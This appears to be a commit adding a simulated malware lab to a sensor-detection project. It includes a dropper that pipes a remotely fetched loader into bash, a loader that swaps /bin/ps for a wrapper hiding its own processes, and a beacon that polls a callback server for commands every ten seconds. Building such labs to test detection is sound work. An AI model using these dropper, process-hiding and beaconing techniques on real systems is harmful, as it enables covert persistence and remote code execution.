First cut of a dropper with a callback server

docker-compose.yml

@@ -42,4 +42,17 @@ services:
     depends_on:
       - kafka
       - api
-    command: python lsof_sensor.py --public-key-path ./cert/rsa_key.pub --private-key-path ./cert/rsa_key --api-host api --sensor-port 11001 --sensor-hostname sensor_2
+    command: python lsof_sensor.py --public-key-path ./cert/rsa_key.pub --private-key-path ./cert/rsa_key --api-host api --sensor-port 11001 --sensor-hostname sensor_2
+  dropper_callback:
+    build: "./external/dropper_callback"
+    ports:
+      - "8080:8080"
+    # hostname: dropper1
+    # domainname: evil.io
+  target_1:
+    build: "./targets/base"
+    depends_on:
+      - kafka
+      - api
+    stdin_open: true
+    tty: true

external/dropper_callback/Dockerfile

@@ -0,0 +1,8 @@
+FROM python:3.6
+
+WORKDIR /opt/callback/
+
+COPY loader.sh /opt/callback/loader.sh
+COPY c2.sh /opt/callback/c2.sh
+
+CMD ["python","-m","http.server","8080"]

external/dropper_callback/README.md

@@ -0,0 +1,4 @@
+# Dropper Callback Server
+
+This container will start a python http.server serving up scripts and files for
+droppers to download.

external/dropper_callback/c2.sh

@@ -0,0 +1,3 @@
+#!/bin/bash
+
+echo "Malware commands received"

external/dropper_callback/loader.sh

@@ -0,0 +1,24 @@
+#!/bin/bash
+
+echo "DROPPED"
+
+# Replace ps with a filtered ps
+PS=`which ps`
+mv $PS /tmp/ps
+cat <<'EOF' > /bin/ps
+#!/bin/bash
+/tmp/ps $@ | grep -v "notevil" | grep -v "dropper" | grep -v "/tmp/ps"
+EOF
+chmod a+x /bin/ps
+
+# Drop in beaconing malware
+cat <<'EOF' > /tmp/notevil.sh
+while true; do
+  curl -s http://dropper_callback:8080/c2.sh | bash
+  sleep 10
+done
+EOF
+
+chmod a+x /tmp/notevil.sh
+
+/tmp/notevil.sh &

targets/base/Dockerfile

@@ -0,0 +1,5 @@
+FROM savior_sensor_1:latest
+
+COPY dropper.sh /tmp/dropper.sh
+
+CMD ["/bin/bash","/tmp/dropper.sh"]

targets/base/README.md

@@ -0,0 +1,7 @@
+This container has been compromised with a dropper script "white-carded" onto
+the system. The container will run `dropper.sh` which will reach out to
+the `dropper_callback` container on port `8080` to a second stage malware and
+execute it.
+
+The second stage `loader.sh` will attempt to hide its next stage by replacing (albeit quite poorly)
+`/bin/ps` before executing `notevil.sh`.

targets/base/dropper.sh

@@ -0,0 +1,9 @@
+#!/bin/bash
+
+curl -s http://dropper_callback:8080/loader.sh | bash
+
+# stupid hack to get the container not to shut down
+while true; do
+  sleep 60
+  echo "I'm still awake"
+done